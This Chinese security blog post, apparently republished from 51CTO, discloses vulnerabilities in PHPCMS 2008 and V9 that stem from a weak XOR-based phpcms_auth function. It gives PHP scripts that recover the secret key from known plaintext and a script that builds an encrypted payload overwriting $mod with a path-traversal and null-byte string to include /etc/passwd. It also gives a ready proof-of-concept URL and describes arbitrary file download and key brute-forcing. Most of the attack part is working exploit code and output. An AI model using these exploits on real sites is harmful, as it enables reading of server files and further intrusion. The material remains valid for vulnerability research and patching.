phpcms的phpcms_auth導致的任意變數覆蓋漏洞、本地檔案包含漏洞和任意檔案下載漏洞
phpcms的phpcms_auth導致的本地檔案包含漏洞和任意檔案下載漏洞
by c4rp3nt3r@0x50sec.org
mail: c4rp3nt3r#gmail.com
HomePage:http://www.0x50sec.org
phpcms_auth函式是phpcms裡面為了增強程式的安全性的一個加密函式,在play.php、down.php 、download.php等等檔案用它來對使用者提交的加密字串進行解密,進入程式流程,如果我們可以控制了phpcms_auth函式的解密,我們就可以通過注射我們的惡意程式碼,進行攻擊。
而phpcms_auth採用的是可逆的位異或演算法,並且對加密的結果進行了base64編碼。
對於位異或演算法來說只要我們破解了金鑰字串$key我們就完全控制了這個函式的加密解密。
對於base64編碼主要是處理某些加密後的不可見字元,但是這給了我們一個很好的機會:
就是說我們破解了$key之後,我們就可以不受magic_quotes_pgc的限制引入%00字串進行階段,或者引入引號發起其他攻擊。
到此已經違背了這個程式設計的初衷,破解了這個函式之後,一方面反而更加不安全了,另一方面所有建立在這個函式之上的機制可能都會受到攻擊。
// include/global.func.php
function phpcms_auth($txt, $operation = `ENCODE`, $key = ``)
{
$key = $key ? $key : $GLOBALS[`phpcms_auth_key`];
$txt = $operation == `ENCODE` ? $txt : base64_decode($txt);
$len = strlen($key);
$code = ``;
for($i=0; $i<strlen($txt); $i++){
$k = $i % $len; //迴圈使用金鑰字串對字串逐位進行異或
$code .= $txt[$i] ^ $key[$k];
}
$code = $operation == `DECODE` ? $code : base64_encode($code);
return $code;
}
對於$key的破解
對於位運算的異或運算,是可逆的,明文和金鑰異或得到密文。如果我們知道密文並且知道一部分明文那麼我們也就可以得到金鑰,有了金鑰我們就可以破解另一部分密文,當然也就可以對我們自己的明文進行加密,然後用我們精心構造的密文發起攻擊了。
不幸的是phpcms的確給了我們可用來破解金鑰的明文。
// include/fields/downfile/output.inc.php
function downfile($field, $value)
{
$contentid = $this->contentid;
$mode = $this->fields[$field][`mode`];
$result = ``;
if($mode)
{
$servers = $this->fields[$field][`servers`];
$downloadtype = $this->fields[$field][`downloadtype`];
$servers = explode("
",$servers);
foreach($servers AS $k=>$server)
{
$server = explode("|",$server);
$serverurl = $server[1];
$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", `ENCODE`, AUTH_KEY));
$result .= "<a href=`down.php?a_k=$a_k` target=`_blank`>$server[0]</a>";
}
}
else
{
$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", `ENCODE`, AUTH_KEY));
$result = "<a href=`down.php?a_k=$a_k` target=`_blank`>點選下載</a>";
}
return $result;
}
這個檔案是用來生成靜態html檔案的,預設安裝的phpcms某個軟體的下載頁面地址為:
http://127.0.0.1/n/phpcms/2011/0331/2.html
進入下載檔案的下載地址為:
http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
對加密字串解密後為
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1
這裡2.html的2就是資料庫裡id的值,如果沒有設定映象站點的話$serverurl為空
也就是說”i=2&s=&m=1&f=”是不會變的,我們可以破解12位的金鑰了。
預設的話金鑰有20位,如果使用者上傳目錄沒修改的話我們知道的明文就有”i=2&s=&m=0&f=uploadfile”共23個字元,可以得到全部金鑰了。
$key="i=2&s=&m=0&f=uploadfile";
$txt=`GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D`;
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i<strlen($key);$i++)
{
$code .= $txt[$i] ^ $key[$i];
}
echo $code;
?>
執行結果為:sIpeofogblFVCildZEwesIp
可以看到sIp開始下一個迴圈加密了,所以金鑰就是:sIpeofogblFVCildZEwe
還有一點就是下載的時候我們可以得到檔名:20110331121233766.zip
d的值是下載檔案的型別,假設我們不知道也不要緊
就是說明文:20110331121233766.zip&d=是已知的有24位
密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D
$key="20110331121233766.zip&d=";
$txt=`GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D`;
$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i<strlen($key);$i++)
{
$code .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."
";
echo $tlen."
";
?>
執行結果為:
EZdliCVFlbgofoepIsewEZd
59
來看phpcms_auth原始碼/*
...
$len = strlen($key);
...
for($i=0; $i<strlen($txt); $i++){
$k = $i % $len;
$code .= $txt[$i] ^ $key[$k];
}
...
*/
我們可以知道
$key[17]=’E`;
我們可以得到倒序的金鑰字串:
ewEZdliCVFlbgofoepIs
然後我們把字串翻轉過來終端下執行:
alone@Sh3llc0de:~$ echo ‘ewEZdliCVFlbgofoepIs’|rev
sIpeofogblFVCildZEwe
我們的金鑰字串就是:sIpeofogblFVCildZEwe
到此我們已經從一個攻擊者的角度破解出了金鑰。接下來我們看看由此引發的幾個安全問題
————————————-
1.phpcms2008 sp2-sp4 本地檔案包含漏洞
這個漏洞跟boblog剛爆出的任意變數覆蓋漏洞有些相似,都是任意變數覆蓋然後僅跟了一個本地檔案包含。這種漏洞也是很好玩的,攻擊的方法更靈活。
//play.php
require dirname(__FILE__).`/include/common.inc.php`;
if(!isset($a_k)) showmessage($LANG[`illegal_parameters`]);
//common.inc.php檔案的全域性變數機制已經將所有GPC資料匯出為變數了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, `DECODE`, AUTH_KEY); //這裡是關鍵分析見上文
if(empty($a_k)) showmessage($LANG[`illegal_parameters`]);
unset($i, $m, $f, $p);
parse_str($a_k); //parse_str處理解密後的$a_k將導致變數覆蓋
//通過覆蓋下文的$mod 或者$templateid將觸發本地檔案包含漏洞
//由於我們提交的密文會經過phpcms_auth函式中base64解密的,所以直接無視magic_quotes_gpc的影響而可以NULL字元截斷
//但是高版本的PHP修復了%00的攻擊缺陷
if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG[`illegal_parameters`]);
if(empty($f)) showmessage(`地址失效`);
if(preg_match(`/.php$/`,$f) || strpos($f, ":\")) showmessage(`地址有誤`);
if(!$i || $m<0) showmessage($LANG[`illegal_parameters`]);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = `phpcms`;
if($mod != `phpcms`)
{
isset($MODULE[$mod]) or exit($LANG[`module_not_exists`]);
$langfile = defined(`IN_ADMIN`) ? $mod.`_admin` : $mod;
@include PHPCMS_ROOT.`languages/`.LANG.`/`.$langfile.`.lang.php`;
$M = cache_read(`module_`.$mod.`.php`);
}
...
*/
//此處通過上文的對$mod進行變數覆蓋繞過下面的if語句
if($mod == `phpcms`)
{
$contentid = $i;
include `admin/content.class.php`;
$content = new content;
$data = $content->get($contentid);
$readpoint = $data[`readpoint`];
$title = $data[`title`];
$keys = array_keys($data);
if(in_array(`groupids_view`,$keys))
{
if($data[`groupids_view`])
{
if(!$priv_group->check(`contentid`, $contentid, `view`, $_groupid)) showmessage(`您沒有檢視許可權`);
}
if(in_array(`readpoint`, $keys))
{
$C = cache_read(`category_`.$data[`catid`].`.php`);
if($C[`defaultchargepoint`] || !empty($readpoint))
{
$readpoint = $readpoint ? $readpoint : $C[`defaultchargepoint`];
$pay = load(`pay_api.class.php`, `pay`, `api`);
if($C[`repeatchargedays`])
{
if($pay->is_exchanged($contentid, $C[`repeatchargedays`]) === FALSE)
{
$allow_readpoint = 0;
}
}
else
{
session_start();
if($_SESSION[`pay_contentid`] != $contentid) $allow_readpoint = 0;
}
}
}
}
}
$player = load(`player.class.php`);
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace(`{$filepath}`,$videourl, $code);
$code = str_replace(`{$PHPCMS[siteurl]}`, $PHPCMS[`siteurl`], $code);
$code = str_replace(`{$PHPCMS[sitename]}`, $PHPCMS[`sitename`], $code);
$templateid = $templateid ? $templateid : `play`;
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一個連線字串的作用
function template($module = `phpcms`, $template = `index`, $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.`_`.$template.`.tpl.php`;
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.`/`.$module.`/`.$template.`.html`) > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.`/tag.inc.php`) > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.`include/template.func.php`;
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}
*/
?>
接下來生成我們的攻擊字串:$key=`sIpeofogblFVCildZEwe`;
$evil=`i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org`;
//經過parse_str($evil);後c4rp3nt3r變數並沒有被建立
//這個地方我也不是很明白為什麼可以進行截斷
//但事實上真的可以截斷
$evil = phpcms_auth($evil, `ENCODE`, $key);
echo $evil."
";
function phpcms_auth($txt, $operation = `ENCODE`, $key)
{
$txt = $operation == `ENCODE` ? $txt : base64_decode($txt);
$len = strlen($key);
$code = ``;
for($i=0; $i<strlen($txt); $i++){
$k = $i % $len;
$code .= $txt[$i] ^ $key[$k];
}
$code = $operation == `DECODE` ? $code : base64_encode($code);
return $code;
}
?>
alone@Sh3llc0de:/var/www$ php v.php
GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL
POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL
成功包含了/etc/passwd
2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意檔案下載漏洞
以phpcms2008為例
down.php 和download.php都存在這個漏洞,具體利用跟上面的檔案包含差不多就不多羅嗦了,成功利用此漏洞可以下載任意檔案,包括.php字尾的檔案。
只是download.php的加密方式是:
//download.php
…
$phpcms_auth_key = md5(AUTH_KEY.$_SERVER[`HTTP_USER_AGENT`]);
$a_k = phpcms_auth($a_k, ‘DECODE’, $phpcms_auth_key);
…
這樣可能主要是為了仿製迅雷等瀏覽器的下載。但是既然我們知道了AUTH_KEY(見上文分析的金鑰$key),$_SERVER[`HTTP_USER_AGENT`]是由使用者提交的,那麼$phpcms_auth_key 我們自然也就知道了。
除了上面說的知道部分明文來算$key,還有可能暴力破解$key.
還有就是經過md5加密後也未必就更安全,因為系統生成的$key有20位但是每一位都肯能個是大寫或者小寫字母,也就是有52種可能,但是經過md5加密後每一位就變成只有16種可能了,大大增加了被暴力破解的可能性。
全文結束
參考和致謝:
80vul.com《高階PHP應用程式漏洞稽核技術》
Ryat[puretot] 《bo-blog任意變數覆蓋漏洞》
本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/537457,如需轉載請自行聯絡原作者
相關文章
- boblog任意變數覆蓋漏洞(二)變數
- 新型任意檔案讀取漏洞的研究
- Windows 10最新零日漏洞:可導致任意檔案被覆寫Windows
- Vmware Vcenter 任意檔案讀取漏洞
- 任意檔案上傳漏洞修復
- 檔案包含漏洞(本地包含配合檔案上傳)
- ShopexV4.8.4|V4.8.5下載任意檔案漏洞
- 任意檔案下載漏洞的介面URL構造分析與討論
- 宏景HCM 任意檔案讀取漏洞
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- 文字檔案上傳漏洞[任意.繞過.解析]
- fckeditor<=2.6.4任意檔案上傳漏洞
- 檔案包含漏洞示例
- 致遠AnalyticsCloud分析雲任意檔案讀取漏洞復現Cloud
- 安全漏洞問題5:上傳任意檔案
- PHP未明遠端任意檔案上傳漏洞(轉)PHP
- 檔案包含漏洞小結
- [web安全] 檔案包含漏洞Web
- PHP漏洞全解————10、PHP檔案包含漏洞PHP
- 藍凌OA前臺任意檔案讀取漏洞利用
- JEEVMS倉庫管理系統任意檔案讀取漏洞
- PHP本地檔案包含漏洞環境搭建與利用PHP
- TomcatAJP檔案包含漏洞及線上修復漏洞Tomcat
- "白話"PHP檔案包含漏洞PHP
- Hoverfly 任意檔案讀取漏洞(CVE-2024-45388)
- PHP變數覆蓋漏洞小結PHP變數
- 檔案下載漏洞練習(一)
- Apache Tomcat檔案包含漏洞分析ApacheTomcat
- 檔案包含漏洞(繞過姿勢)
- 檔案包含漏洞檢測工具fimap
- 實戰篇——檔案包含漏洞一
- 【第九章】檔案包含漏洞
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- Acer和華碩電腦漏洞曝光,可導致任意程式碼執行
- 網路安全中檔案上傳漏洞是如何導致的?
- 米安程式碼審計 06 PHPYUN V3.0 任意檔案上傳漏洞PHP
- Grafana 任意檔案讀取漏洞 (CVE-2021-43798)學習Grafana
- 檔案上傳漏洞